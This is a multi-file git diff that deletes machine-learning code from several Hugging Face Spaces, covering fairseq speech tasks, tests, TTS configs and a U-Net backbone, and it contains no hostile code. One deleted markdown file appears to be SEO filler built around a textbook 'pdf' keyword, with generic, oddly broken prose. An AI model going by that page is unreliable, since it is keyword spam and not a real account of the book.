faiss.vector_to_array(pca.b) - A = faiss.vector_to_array(pca.A).reshape(pca.d_out, pca.d_in) - np.save(osp.join(save_path, "pca_A"), A.T) - np.save(osp.join(save_path, "pca_b"), b) - print("Applying PCA") - x = pca.apply_py(x) - - if spec.norm: - reload = spec.pca <= 0 - print("Normalizing") - faiss.normalize_L2(x) - - print("Computing kmeans") - kmeans = faiss.Kmeans( - d, - spec.n_clus, - niter=50, - verbose=True, - spherical=spec.sphere, - max_points_per_centroid=feats.shape[0], - gpu=True, - nredo=3, - ) - kmeans.train(x) - np.save(osp.join(save_path, "centroids"), kmeans.centroids) - del kmeans - del x - gc.collect() - - -if __name__ == "__main__": - main() diff --git a/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/tasks/unpaired_audio_text.py b/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/tasks/unpaired_audio_text.py deleted file mode 100644 index 5f292528f80d6bb51f16a4324d97342d28fce942..0000000000000000000000000000000000000000 --- a/spaces/mshukor/UnIVAL/fairseq/examples/wav2vec/unsupervised/tasks/unpaired_audio_text.py +++ /dev/null @@ -1,447 +0,0 @@ -# Copyright (c) 2017-present, Facebook, Inc. -# All rights reserved. -# -# This source code is licensed under the license found in the LICENSE file in -# the root directory of this source tree. An additional grant of patent rights -# can be found in the PATENTS file in the same directory. - -from dataclasses import dataclass, field -import logging -import math -import os -from typing import Optional -import torch - -from fairseq.logging import metrics -from fairseq.tasks import FairseqTask, register_task -from ..data import ExtractedFeaturesDataset, RandomInputDataset - -from fairseq.data import ( - Dictionary, - data_utils, - StripTokenDataset, -) -from fairseq.dataclass import FairseqDataclass -from fairseq.distributed.utils import get_data_parallel_world_size -from omegaconf import MISSING - -from examples.speech_recognition.kaldi.kaldi_decoder import ( - KaldiDecoder, - KaldiDecoderConfig, -) - - -logger = logging.getLogger(__name__) - - -@dataclass -class DecodingConfig(FairseqDataclass): - kenlm_path: Optional[str] = None - lm_weight: float = 0 - blank_weight: float = 0 - - -@dataclass -class UnpairedAudioTextConfig(FairseqDataclass): - data: str = field( - default=MISSING, metadata={"help": "path to data directory containing audio"} - ) - text_data: str = field( - default=MISSING, metadata={"help": "path to data directory containing text"} - ) - max_length: Optional[int] = None - labels: Optional[str] = field( - default=None, - metadata={"help": "extension of the label file to load, used for fine-tuning"}, - ) - unfiltered: bool = field( - default=False, metadata={"help": "load data with _unfiltered suffix"} - ) - ctc_eval: bool = field( - default=False, metadata={"help": "eval UER as if computed by CTC"} - ) - sort_by_length: bool = field( - default=True, metadata={"help": "sort examples by length of audio timesteps"} - ) - shuffle: bool = field(default=True, metadata={"help": "shuffle examples"}) - append_eos: bool = field(default=False, metadata={"help": "append eos"}) - uppercase: Optional[bool] = field( - default=False, metadata={"help": "uppercase for LM score computation"} - ) - skipwords: Optional[str] = field( - default="", - metadata={ - "help": "comma-separated words to be removed for LM score computation" - }, - ) - kenlm_path: Optional[str] = None - vocab_usage_power: float = 2 - - word_decoder_config: Optional[KaldiDecoderConfig] = None - word_kenlm_path: Optional[str] = None - - decoding_config: DecodingConfig = DecodingConfig() - - -@register_task("unpaired_audio_text", dataclass=UnpairedAudioTextConfig) -class UnpairedAudioText(FairseqTask): - """ """ - - cfg: UnpairedAudioTextConfig - - def __init__( - self, - cfg: UnpairedAudioTextConfig, - source_dictionary=None, - target_dictionary=None, - ): - super().__init__(cfg) - - self._target_dictionary = target_dictionary - self._source_dictionary = source_dictionary - self.num_symbols = ( - len([s for s in target_dictionary.symbols if not s.startswith("madeup")]) - - target_dictionary.nspecial - ) - self.sil_id = ( - target_dictionary.index("") if "" in target_dictionary else -1 - ) - self.kenlm = None - if cfg.kenlm_path is not None: - import kenlm - - self.kenlm = kenlm.Model(cfg.kenlm_path) - - self.word_kenlm = None - if cfg.word_kenlm_path is not None: - import kenlm - - self.word_kenlm = kenlm.Model(cfg.word_kenlm_path) - - self.uppercase = cfg.uppercase - self.skipwords = set(cfg.skipwords.split(",")) - - def str_postprocess(s): - s = " ".join(w for w in s.split() if w not in self.skipwords) - s = s.upper() if self.uppercase else s - return s - - self.str_postprocess = str_postprocess - self.compute_lm_score = lambda s: self.kenlm.score(self.str_postprocess(s)) - - self.compute_word_score = None - if cfg.word_decoder_config is not None: - self.kaldi_decoder = KaldiDecoder(cfg.word_decoder_config, beam=10) - - def compute_word_score(logits, padding): - res = self.kaldi_decoder.decode(logits, padding) - for r in res: - r = r.result() - assert len(r) == 1 - r = r[0] - yield r["score"], r["words"] - - self.compute_word_score = compute_word_score - - @classmethod - def setup_task(cls, cfg: UnpairedAudioTextConfig, **kwargs): - """Setup the task (e.g., load dictionaries). - - Args: - cfg (AudioPretrainingConfig): configuration of this task - """ - - dict_path = os.path.join(cfg.text_data, "dict.txt") - if os.path.exists(dict_path): - target_dictionary = Dictionary.load(dict_path) - else: - dict_path = os.path.join(cfg.data, f"dict.{cfg.labels}.txt") - target_dictionary = Dictionary.load(dict_path) - - return cls(cfg, target_dictionary=target_dictionary) - - def optimizer_step(self, optimizer, model, update_num): - if hasattr(model, "get_groups_for_update"): - groups = model.get_groups_for_update(update_num) - optimizer.step(groups={groups}) - else: - optimizer.step() - - def valid_step(self, sample, model, criterion): - res = model( - **sample["net_input"], - dense_x_only=True, - ) - - dense_x = res["logits"] - padding_mask = res["padding_mask"] - - word_scores = None - if self.compute_word_score is not None: - word_scores = self.compute_word_score(dense_x.cpu(), padding_mask.cpu()) - - z = dense_x.argmax(-1) - z[padding_mask] = self.target_dictionary.pad() - - vocab_seen = torch.zeros(self.num_symbols, dtype=torch.bool) - - import editdistance - - c_err = 0 - c_len = 0 - pred_c_len = 0 - lm_score_sum = 0 - for i, (x, t, id) in enumerate( - zip( - z, - sample["target"] if "target" in sample else [None] * len(z), - sample["id"], - ) - ): - - if t is not None: - t = t[(t >= self.target_dictionary.nspecial)] - x = x[ - (x >= self.target_dictionary.nspecial) - & (x < (self.num_symbols + self.target_dictionary.nspecial)) - ] - if self.sil_id >= 0: - x = x[x != self.sil_id] - - vocab_seen[x - self.target_dictionary.nspecial] = True - - pred_units_arr = x - if self.cfg.ctc_eval: - pred_units_arr = pred_units_arr.unique_consecutive() - pred_units_arr = pred_units_arr[pred_units_arr != 0] - - if id == 0: - if t is not None: - logger.info(f"REF: {self.target_dictionary.string(t)}") - logger.info(f"HYP: {self.target_dictionary.string(pred_units_arr)}") - - if self.kenlm is not None: - if t is not None: - ref_lm_s = self.compute_lm_score( - self.target_dictionary.string(t) - ) - logger.info( - f"LM [REF]: {ref_lm_s}, {math.pow(10, -ref_lm_s / (len(t) + 1))}" - ) - - hyp_lm_s = self.compute_lm_score( - self.target_dictionary.string(pred_units_arr) - ) - logger.info( - f"LM [HYP]: {hyp_lm_s}, {math.pow(10, -hyp_lm_s / (len(pred_units_arr) + 1))}" - ) - - pred_units_arr = pred_units_arr.tolist() - - pred_c_len += len(pred_units_arr) - - if t is not None: - t = t.tolist() - c_err += editdistance.eval(pred_units_arr, t) - c_len += len(t) - else: - c_len = pred_c_len - - if self.kenlm is not None: - pred_str = self.target_dictionary.string(pred_units_arr) - lm_score = self.compute_lm_score(pred_str) - lm_score_sum += lm_score - - kaldi_score_sum = 0 - word_lm_sum = 0 - num_words = 0 - if word_scores is not None: - for score, words in word_scores: - kaldi_score_sum += score - num_words += len(words) - if self.word_kenlm is not None: - word_lm_sum += self.kenlm.score(" ".join(words)) - - try: - world_size = get_data_parallel_world_size() - except: - world_size = 1 - - logging_output = { - "loss": c_err, - "_num_char_errors": c_err, - "_num_chars": c_len, - "_num_pred_chars": pred_c_len, - "ntokens": c_len, - "nsentences": z.size(0), - "sample_size": c_len, - "_world_size": world_size, - "_lm_score_sum": lm_score_sum, - "_kaldi_score_sum": kaldi_score_sum, - "_word_lm_sum": word_lm_sum, - "_num_words": num_words, - "_vocab_seen": vocab_seen, - } - - return c_err, c_len, logging_output - - def load_dataset(self, split: str, task_cfg: FairseqDataclass = None, **kwargs): - data_path = self.cfg.data - task_cfg = task_cfg or self.cfg - - has_unpaired_text = os.path.exists( - os.path.join(self.cfg.text_data, f"{split}.idx") - ) - - self.datasets[split] = ExtractedFeaturesDataset( - path=data_path, - split=split, - min_length=3, - max_length=task_cfg.max_length, - labels=None if has_unpaired_text else task_cfg.labels, - label_dict=self.target_dictionary, - shuffle=getattr(task_cfg, "shuffle", True), - sort_by_length=task_cfg.sort_by_length, - ) - - logger.info(f"split {split} has unpaired text? {has_unpaired_text}") - if has_unpaired_text: - text_dataset = data_utils.load_indexed_dataset( - os.path.join(self.cfg.text_data, split), self.target_dictionary - ) - text_dataset = StripTokenDataset(text_dataset, self.target_dictionary.eos()) - self.datasets[split] = RandomInputDataset( - self.datasets[split], - text_dataset, - ["random_label"], - add_to_input=True, - pad_idx=self.target_dictionary.pad(), - ) - - @property - def source_dictionary(self): - return self._source_dictionary - - @property - def target_dictionary(self): - """Return the :class:`~fairseq.data.Dictionary` for the language - model.""" - return self._target_dictionary - - def max_positions(self): - """Maximum input length supported by the encoder.""" - return None - - def reduce_metrics(self, logging_outputs, criterion): - super().reduce_metrics(logging_outputs, criterion) - - zero = torch.scalar_tensor(0.0) - num_char_errors = sum( - log.get("_num_char_errors", zero) for log in logging_outputs - ) - num_chars = sum(log.get("_num_chars", zero) for log in logging_outputs) - num_word_errors = sum( - log.get("_num_word_errors", zero) for log in logging_outputs - ) - num_words = sum(log.get("_num_words", zero) for log in logging_outputs) - num_pred_chars = sum( - log.get("_num_pred_chars", zero) for log in logging_outputs - ) - - lm_score_sum = sum(log.get("_lm_score_sum", zero) for log in logging_outputs) - vocab_seen = ( - sum(log.get("_vocab_seen", zero) for log in logging_outputs) - .bool() - .sum() - .item() - ) - kaldi_score_sum = sum( - log.get("_kaldi_score_sum", zero) for log in logging_outputs - ) - word_lm_sum = sum(log.get("_word_lm_sum", zero) for log in logging_outputs) - - metrics.log_scalar_sum("_num_char_errors", num_char_errors) - metrics.log_scalar_sum("_num_chars", num_chars) - metrics.log_scalar_sum("_num_word_errors", num_word_errors) - metrics.log_scalar_sum("_num_words", num_words) - - metrics.log_scalar_sum("lm_score_sum", lm_score_sum) - metrics.log_scalar_sum("num_pred_chars", num_pred_chars) - - if self.cfg.word_kenlm_path is not None: - metrics.log_scalar_sum("kaldi_score_sum", kaldi_score_sum) - metrics.log_scalar_sum("word_lm_sum", word_lm_sum) - - if num_chars > 0: - metrics.log_derived( - "uer", - lambda meters: meters["_num_char_errors"].sum - * 100.0 - / meters["_num_chars"].sum - if meters["_num_chars"].sum > 0 - else float("nan"), - ) - - if lm_score_sum < 0 and vocab_seen > 0: - metrics.log_scalar("vocab_seen_pct", vocab_seen / self.num_symbols) - - metrics.log_derived( - "weighted_lm_ppl", - lambda meters: math.pow( - 10, - -meters["lm_score_sum"].sum - / ( - meters["num_pred_chars"].sum + meters["nsentences"].sum - ), # account for - ) - / meters["vocab_seen_pct"].avg ** self.cfg.vocab_usage_power, - ) - - metrics.log_derived( - "lm_ppl", - lambda meters: math.pow( - 10, - -meters["lm_score_sum"].sum - / ( - meters["num_pred_chars"].sum + meters["nsentences"].sum - ), # account for - ), - ) - else: - metrics.log_derived("weighted_lm_ppl", lambda meters: float("inf")) - - if num_words > 0: - if word_lm_sum != 0: - metrics.log_derived( - "word_lm_ppl", - lambda meters: math.pow( - 10, - -meters["word_lm_sum"].sum - / ( - meters["_num_words"].sum + meters["nsentences"].sum - ), # account for - ), - ) - metrics.log_derived( - "weighted_word_lm_ppl", - lambda meters: math.pow( - 10, - -meters["word_lm_sum"].sum - / ( - meters["_num_words"].sum + meters["nsentences"].sum - ), # account for - ) - / meters["vocab_seen_pct"].avg ** self.cfg.vocab_usage_power, - ) - - if self.cfg.word_kenlm_path is not None: - metrics.log_derived( - "kaldi_score", - lambda meters: meters["kaldi_score_sum"].sum - / meters["nsentences"].sum, - ) - - def build_model(self, cfg: FairseqDataclass): - model = super().build_model(cfg) - - return model diff --git a/spaces/mshukor/UnIVAL/fairseq/tests/test_resampling_dataset.py b/spaces/mshukor/UnIVAL/fairseq/tests/test_resampling_dataset.py deleted file mode 100644 index ccb53a253ce6ca0d8e972adfa708144b4299b3cb..0000000000000000000000000000000000000000 --- a/spaces/mshukor/UnIVAL/fairseq/tests/test_resampling_dataset.py +++ /dev/null @@ -1,103 +0,0 @@ -# Copyright (c) Facebook, Inc. and its affiliates. -# -# This source code is licensed under the MIT license found in the -# LICENSE file in the root directory of this source tree. - -import collections -import unittest - -import numpy as np -from fairseq.data import ListDataset, ResamplingDataset - - -class TestResamplingDataset(unittest.TestCase): - def setUp(self): - self.strings = ["ab", "c", "def", "ghij"] - self.weights = [4.0, 2.0, 7.0, 1.5] - self.size_ratio = 2 - self.dataset = ListDataset( - self.strings, np.array([len(s) for s in self.strings]) - ) - - def _test_common(self, resampling_dataset, iters): - assert len(self.dataset) == len(self.strings) == len(self.weights) - assert len(resampling_dataset) == self.size_ratio * len(self.strings) - - results = {"ordered_by_size": True, "max_distribution_diff": 0.0} - - totalfreqs = 0 - freqs = collections.defaultdict(int) - - for epoch_num in range(iters): - resampling_dataset.set_epoch(epoch_num) - - indices = resampling_dataset.ordered_indices() - assert len(indices) == len(resampling_dataset) - - prev_size = -1 - - for i in indices: - cur_size = resampling_dataset.size(i) - # Make sure indices map to same sequences within an epoch - assert resampling_dataset[i] == resampling_dataset[i] - - # Make sure length of sequence is correct - assert cur_size == len(resampling_dataset[i]) - - freqs[resampling_dataset[i]] += 1 - totalfreqs += 1 - - if prev_size > cur_size: - results["ordered_by_size"] = False - - prev_size = cur_size - - assert set(freqs.keys()) == set(self.strings) - for s, weight in zip(self.strings, self.weights): - freq = freqs[s] / totalfreqs - expected_freq = weight / sum(self.weights) - results["max_distribution_diff"] = max( - results["max_distribution_diff"], abs(expected_freq - freq) - ) - - return results - - def test_resampling_dataset_batch_by_size_false(self): - resampling_dataset = ResamplingDataset( - self.dataset, - self.weights, - size_ratio=self.size_ratio, - batch_by_size=False, - seed=0, - ) - - results = self._test_common(resampling_dataset, iters=1000) - - # For batch_by_size = False, the batches should be returned in - # arbitrary order of size. - assert not results["ordered_by_size"] - - # Allow tolerance in distribution error of 2%. - assert results["max_distribution_diff"] < 0.02 - - def test_resampling_dataset_batch_by_size_true(self): - resampling_dataset = ResamplingDataset( - self.dataset, - self.weights, - size_ratio=self.size_ratio, - batch_by_size=True, - seed=0, - ) - - results = self._test_common(resampling_dataset, iters=1000) - - # For batch_by_size = True, the batches should be returned in - # increasing order of size. - assert results["ordered_by_size"] - - # Allow tolerance in distribution error of 2%. - assert results["max_distribution_diff"] < 0.02 - - -if __name__ == "__main__": - unittest.main() diff --git a/spaces/muellerzr/accelerate-presentation/style.css b/spaces/muellerzr/accelerate-presentation/style.css deleted file mode 100644 index 114adf441e9032febb46bc056b2a8bb651075f0d..0000000000000000000000000000000000000000 --- a/spaces/muellerzr/accelerate-presentation/style.css +++ /dev/null @@ -1,28 +0,0 @@ -body { - padding: 2rem; - font-family: -apple-system, BlinkMacSystemFont, "Arial", sans-serif; -} - -h1 { - font-size: 16px; - margin-top: 0; -} - -p { - color: rgb(107, 114, 128); - font-size: 15px; - margin-bottom: 10px; - margin-top: 5px; -} - -.card { - max-width: 620px; - margin: 0 auto; - padding: 16px; - border: 1px solid lightgray; - border-radius: 16px; -} - -.card p:last-child { - margin-bottom: 0; -} diff --git a/spaces/mygyasir/Real-Time-Voice-Cloning/synthesizer/hparams.py b/spaces/mygyasir/Real-Time-Voice-Cloning/synthesizer/hparams.py deleted file mode 100644 index f7d38f0aa4c34d11349e40dbb9861b1aec2dcb8b..0000000000000000000000000000000000000000 --- a/spaces/mygyasir/Real-Time-Voice-Cloning/synthesizer/hparams.py +++ /dev/null @@ -1,92 +0,0 @@ -import ast -import pprint - -class HParams(object): - def __init__(self, **kwargs): self.__dict__.update(kwargs) - def __setitem__(self, key, value): setattr(self, key, value) - def __getitem__(self, key): return getattr(self, key) - def __repr__(self): return pprint.pformat(self.__dict__) - - def parse(self, string): - # Overrides hparams from a comma-separated string of name=value pairs - if len(string) > 0: - overrides = [s.split("=") for s in string.split(",")] - keys, values = zip(*overrides) - keys = list(map(str.strip, keys)) - values = list(map(str.strip, values)) - for k in keys: - self.__dict__[k] = ast.literal_eval(values[keys.index(k)]) - return self - -hparams = HParams( - ### Signal Processing (used in both synthesizer and vocoder) - sample_rate = 16000, - n_fft = 800, - num_mels = 80, - hop_size = 200, # Tacotron uses 12.5 ms frame shift (set to sample_rate * 0.0125) - win_size = 800, # Tacotron uses 50 ms frame length (set to sample_rate * 0.050) - fmin = 55, - min_level_db = -100, - ref_level_db = 20, - max_abs_value = 4., # Gradient explodes if too big, premature convergence if too small. - preemphasis = 0.97, # Filter coefficient to use if preemphasize is True - preemphasize = True, - - ### Tacotron Text-to-Speech (TTS) - tts_embed_dims = 512, # Embedding dimension for the graphemes/phoneme inputs - tts_encoder_dims = 256, - tts_decoder_dims = 128, - tts_postnet_dims = 512, - tts_encoder_K = 5, - tts_lstm_dims = 1024, - tts_postnet_K = 5, - tts_num_highways = 4, - tts_dropout = 0.5, - tts_cleaner_names = ["english_cleaners"], - tts_stop_threshold = -3.4, # Value below which audio generation ends. - # For example, for a range of [-4, 4], this - # will terminate the sequence at the first - # frame that has all values < -3.4 - - ### Tacotron Training - tts_schedule = [(2, 1e-3, 20_000, 12), # Progressive training schedule - (2, 5e-4, 40_000, 12), # (r, lr, step, batch_size) - (2, 2e-4, 80_000, 12), # - (2, 1e-4, 160_000, 12), # r = reduction factor (# of mel frames - (2, 3e-5, 320_000, 12), # synthesized for each decoder iteration) - (2, 1e-5, 640_000, 12)], # lr = learning rate - - tts_clip_grad_norm = 1.0, # clips the gradient norm to prevent explosion - set to None if not needed - tts_eval_interval = 500, # Number of steps between model evaluation (sample generation) - # Set to -1 to generate after completing epoch, or 0 to disable - - tts_eval_num_samples = 1, # Makes this number of samples - - ### Data Preprocessing - max_mel_frames = 900, - rescale = True, - rescaling_max = 0.9, - synthesis_batch_size = 16, # For vocoder preprocessing and inference. - - ### Mel Visualization and Griffin-Lim - signal_normalization = True, - power = 1.5, - griffin_lim_iters = 60, - - ### Audio processing options - fmax = 7600, # Should not exceed (sample_rate // 2) - allow_clipping_in_normalization = True, # Used when signal_normalization = True - clip_mels_length = True, # If true, discards samples exceeding max_mel_frames - use_lws = False, # "Fast spectrogram phase recovery using local weighted sums" - symmetric_mels = True, # Sets mel range to [-max_abs_value, max_abs_value] if True, - # and [0, max_abs_value] if False - trim_silence = True, # Use with sample_rate of 16000 for best results - - ### SV2TTS - speaker_embedding_size = 256, # Dimension for the speaker embedding - silence_min_duration_split = 0.4, # Duration in seconds of a silence for an utterance to be split - utterance_min_duration = 1.6, # Duration in seconds below which utterances are discarded - ) - -def hparams_debug_string(): - return str(hparams) diff --git a/spaces/mygyasir/deep-voice-cloning/build/lib/deep_voice_cloning/data/collator.py b/spaces/mygyasir/deep-voice-cloning/build/lib/deep_voice_cloning/data/collator.py deleted file mode 100644 index b6f99e1869b8c63f4d88be93b59b439fda833590..0000000000000000000000000000000000000000 --- a/spaces/mygyasir/deep-voice-cloning/build/lib/deep_voice_cloning/data/collator.py +++ /dev/null @@ -1,45 +0,0 @@ -import torch -from typing import Any, Dict, List, Union - - -class TTSDataCollatorWithPadding: - - def __init__(self, model, processor): - self.model = model - self.processor = processor - - def __call__(self, features: List[Dict[str, Union[List[int], torch.Tensor]]]) -> Dict[str, torch.Tensor]: - input_ids = [{"input_ids": feature["input_ids"]} for feature in features] - label_features = [{"input_values": feature["labels"]} for feature in features] - speaker_features = [feature["speaker_embeddings"] for feature in features] - - # collate the inputs and targets into a batch - batch = self.processor.pad( - input_ids=input_ids, - labels=label_features, - return_tensors="pt", - ) - - # replace padding with -100 to ignore loss correctly - batch["labels"] = batch["labels"].masked_fill( - batch.decoder_attention_mask.unsqueeze(-1).ne(1), -100 - ) - - # not used during fine-tuning - del batch["decoder_attention_mask"] - - # round down target lengths to multiple of reduction factor - if self.model.config.reduction_factor > 1: - target_lengths = torch.tensor([ - len(feature["input_values"]) for feature in label_features - ]) - target_lengths = target_lengths.new([ - length - length % self.model.config.reduction_factor for length in target_lengths - ]) - max_length = max(target_lengths) - batch["labels"] = batch["labels"][:, :max_length] - - # add the speaker embeddings - batch["speaker_embeddings"] = torch.tensor(speaker_features) - - return batch diff --git a/spaces/nagolinc/npcGenerator/README.md b/spaces/nagolinc/npcGenerator/README.md deleted file mode 100644 index 0dbf20d5b41d9ac83eb2bad0314ca18d5ef98795..0000000000000000000000000000000000000000 --- a/spaces/nagolinc/npcGenerator/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: NpcGenerator -emoji: 💩 -colorFrom: green -colorTo: green -sdk: gradio -sdk_version: 3.0.9 -app_file: app.py -pinned: false -license: mit ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference diff --git a/spaces/navervision/MLSD/static/css/app.css b/spaces/navervision/MLSD/static/css/app.css deleted file mode 100644 index b8dcee2e81d09edfee44fdae4c28f3622d7fefe6..0000000000000000000000000000000000000000 --- a/spaces/navervision/MLSD/static/css/app.css +++ /dev/null @@ -1,11 +0,0 @@ -#app { - padding: 20px; -} - -#result .item { - padding-bottom: 20px; -} - -.form-content-container { - padding-left: 20px; -} diff --git a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Atomic And Nuclear Physics By Ab Gupta Pdf 14 [NEW].md b/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Atomic And Nuclear Physics By Ab Gupta Pdf 14 [NEW].md deleted file mode 100644 index 3cfa1aa06fd292fcff37b8b297345e61827a103c..0000000000000000000000000000000000000000 --- a/spaces/netiMophi/DreamlikeArt-Diffusion-1.0/Atomic And Nuclear Physics By Ab Gupta Pdf 14 [NEW].md +++ /dev/null @@ -1,32 +0,0 @@ - -Here is a possible title and article with html formatting for the keyword "atomic and nuclear physics by ab gupta pdf 14": - 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            The second part of the book focuses on the structure and properties of nuclei, such as the nuclear force, nuclear models, nuclear stability, nuclear binding energy, nuclear decay modes, nuclear reactions, fission and fusion processes, and radioactive dating methods. The book also discusses the experimental techniques used to study nuclei, such as accelerators, reactors, cyclotrons, synchrotrons, and ion traps.

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            Modern Atomic and Nuclear Physics by A. B. Gupta is a well-written -and up-to-date textbook that provides a clear -and comprehensive introduction to the fascinating field of atomic -and nuclear physics. The book is suitable for undergraduate -and postgraduate students of physics -and related disciplines, -as well as for researchers -and professionals who want to refresh their knowledge -or learn about new developments in this area.

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            The book also includes a number of appendices that provide useful information on topics such as physical constants, units and conversion factors, atomic and nuclear data, mathematical formulas, and solutions to selected problems. The book also has a glossary of terms and an index for easy reference.

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            -
            -
            \ No newline at end of file diff --git a/spaces/nev/CoNR/model/backbone.py b/spaces/nev/CoNR/model/backbone.py deleted file mode 100644 index 98d5bd78ef4fb269bb7139ab27bd219e2e7b1c44..0000000000000000000000000000000000000000 --- a/spaces/nev/CoNR/model/backbone.py +++ /dev/null @@ -1,289 +0,0 @@ -""" -This code was mostly taken from backbone-unet by mkisantal: -https://github.com/mkisantal/backboned-unet/blob/master/backboned_unet/unet.py -""" -import torch -import torch.nn as nn -from torchvision import models -from torch.nn import functional as F - -import torch.nn as nn -import torch -from torchvision import models - - -class AdaptiveConcatPool2d(nn.Module): - """ - Layer that concats `AdaptiveAvgPool2d` and `AdaptiveMaxPool2d`. - Source: Fastai. This code was taken from the fastai library at url - https://github.com/fastai/fastai/blob/master/fastai/layers.py#L176 - """ - - def __init__(self, sz=None): - "Output will be 2*sz or 2 if sz is None" - super().__init__() - self.output_size = sz or 1 - self.ap = nn.AdaptiveAvgPool2d(self.output_size) - self.mp = nn.AdaptiveMaxPool2d(self.output_size) - - def forward(self, x): return torch.cat([self.mp(x), self.ap(x)], 1) - - -class MyNorm(nn.Module): - def __init__(self, num_channels): - super(MyNorm, self).__init__() - self.norm = nn.InstanceNorm2d( - num_channels, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False) - - def forward(self, x): - x = self.norm(x) - return x - - -def resnet_fastai(model, pretrained, url, replace_first_layer=None, replace_maxpool_layer=None, progress=True, map_location=None, **kwargs): - cut = -2 - s = model(pretrained=False, **kwargs) - if replace_maxpool_layer is not None: - s.maxpool = replace_maxpool_layer - if replace_first_layer is not None: - body = nn.Sequential(replace_first_layer, *list(s.children())[1:cut]) - else: - body = nn.Sequential(*list(s.children())[:cut]) - - if pretrained: - state = torch.hub.load_state_dict_from_url(url, - progress=progress, map_location=map_location) - if replace_first_layer is not None: - for each in list(state.keys()).copy(): - if each.find("0.0.") == 0: - del state[each] - body_tail = nn.Sequential(body) - ret = body_tail.load_state_dict(state, strict=False) - return body - - -def get_backbone(name, pretrained=True, map_location=None): - """ Loading backbone, defining names for skip-connections and encoder output. """ - - first_layer_for_4chn = nn.Conv2d( - 4, 64, kernel_size=7, stride=2, padding=3, bias=False) - max_pool_layer_replace = nn.Conv2d( - 64, 64, kernel_size=3, stride=2, padding=1, bias=False) - # loading backbone model - if name == 'resnet18': - backbone = models.resnet18(pretrained=pretrained) - if name == 'resnet18-4': - backbone = models.resnet18(pretrained=pretrained) - backbone.conv1 = first_layer_for_4chn - elif name == 'resnet34': - backbone = models.resnet34(pretrained=pretrained) - elif name == 'resnet50': - backbone = models.resnet50(pretrained=False, norm_layer=MyNorm) - backbone.maxpool = max_pool_layer_replace - elif name == 'resnet101': - backbone = models.resnet101(pretrained=pretrained) - elif name == 'resnet152': - backbone = models.resnet152(pretrained=pretrained) - elif name == 'vgg16': - backbone = models.vgg16_bn(pretrained=pretrained).features - elif name == 'vgg19': - backbone = models.vgg19_bn(pretrained=pretrained).features - elif name == 'resnet18_danbo-4': - backbone = resnet_fastai(models.resnet18, url="https://github.com/RF5/danbooru-pretrained/releases/download/v0.1/resnet18-3f77756f.pth", - pretrained=pretrained, map_location=map_location, norm_layer=MyNorm, replace_first_layer=first_layer_for_4chn) - elif name == 'resnet50_danbo': - backbone = resnet_fastai(models.resnet50, url="https://github.com/RF5/danbooru-pretrained/releases/download/v0.1/resnet50-13306192.pth", - pretrained=pretrained, map_location=map_location, norm_layer=MyNorm, replace_maxpool_layer=max_pool_layer_replace) - elif name == 'densenet121': - backbone = models.densenet121(pretrained=True).features - elif name == 'densenet161': - backbone = models.densenet161(pretrained=True).features - elif name == 'densenet169': - backbone = models.densenet169(pretrained=True).features - elif name == 'densenet201': - backbone = models.densenet201(pretrained=True).features - else: - raise NotImplemented( - '{} backbone model is not implemented so far.'.format(name)) - #print(backbone) - # specifying skip feature and output names - if name.startswith('resnet'): - feature_names = [None, 'relu', 'layer1', 'layer2', 'layer3'] - backbone_output = 'layer4' - elif name == 'vgg16': - # TODO: consider using a 'bridge' for VGG models, there is just a MaxPool between last skip and backbone output - feature_names = ['5', '12', '22', '32', '42'] - backbone_output = '43' - elif name == 'vgg19': - feature_names = ['5', '12', '25', '38', '51'] - backbone_output = '52' - elif name.startswith('densenet'): - feature_names = [None, 'relu0', 'denseblock1', - 'denseblock2', 'denseblock3'] - backbone_output = 'denseblock4' - elif name == 'unet_encoder': - feature_names = ['module1', 'module2', 'module3', 'module4'] - backbone_output = 'module5' - else: - raise NotImplemented( - '{} backbone model is not implemented so far.'.format(name)) - if name.find('_danbo') > 0: - feature_names = [None, '2', '4', '5', '6'] - backbone_output = '7' - return backbone, feature_names, backbone_output - - -class UpsampleBlock(nn.Module): - - # TODO: separate parametric and non-parametric classes? - # TODO: skip connection concatenated OR added - - def __init__(self, ch_in, ch_out=None, skip_in=0, use_bn=True, parametric=False): - super(UpsampleBlock, self).__init__() - - self.parametric = parametric - ch_out = ch_in/2 if ch_out is None else ch_out - - # first convolution: either transposed conv, or conv following the skip connection - if parametric: - # versions: kernel=4 padding=1, kernel=2 padding=0 - self.up = nn.ConvTranspose2d(in_channels=ch_in, out_channels=ch_out, kernel_size=(4, 4), - stride=2, padding=1, output_padding=0, bias=(not use_bn)) - self.bn1 = MyNorm(ch_out) if use_bn else None - else: - self.up = None - ch_in = ch_in + skip_in - self.conv1 = nn.Conv2d(in_channels=ch_in, out_channels=ch_out, kernel_size=(3, 3), - stride=1, padding=1, bias=(not use_bn)) - self.bn1 = MyNorm(ch_out) if use_bn else None - - self.relu = nn.ReLU(inplace=True) - - # second convolution - conv2_in = ch_out if not parametric else ch_out + skip_in - self.conv2 = nn.Conv2d(in_channels=conv2_in, out_channels=ch_out, kernel_size=(3, 3), - stride=1, padding=1, bias=(not use_bn)) - self.bn2 = MyNorm(ch_out) if use_bn else None - - def forward(self, x, skip_connection=None): - - x = self.up(x) if self.parametric else F.interpolate(x, size=None, scale_factor=2, mode='bilinear', - align_corners=None) - if self.parametric: - x = self.bn1(x) if self.bn1 is not None else x - x = self.relu(x) - - if skip_connection is not None: - x = torch.cat([x, skip_connection], dim=1) - - if not self.parametric: - x = self.conv1(x) - x = self.bn1(x) if self.bn1 is not None else x - x = self.relu(x) - x = self.conv2(x) - x = self.bn2(x) if self.bn2 is not None else x - x = self.relu(x) - - return x - - -class ResEncUnet(nn.Module): - - """ U-Net (https://arxiv.org/pdf/1505.04597.pdf) implementation with pre-trained torchvision backbones.""" - - def __init__(self, - backbone_name, - pretrained=True, - encoder_freeze=False, - classes=21, - decoder_filters=(512, 256, 128, 64, 32), - parametric_upsampling=True, - shortcut_features='default', - decoder_use_instancenorm=True, - map_location=None - ): - super(ResEncUnet, self).__init__() - - self.backbone_name = backbone_name - - self.backbone, self.shortcut_features, self.bb_out_name = get_backbone( - backbone_name, pretrained=pretrained, map_location=map_location) - shortcut_chs, bb_out_chs = self.infer_skip_channels() - if shortcut_features != 'default': - self.shortcut_features = shortcut_features - 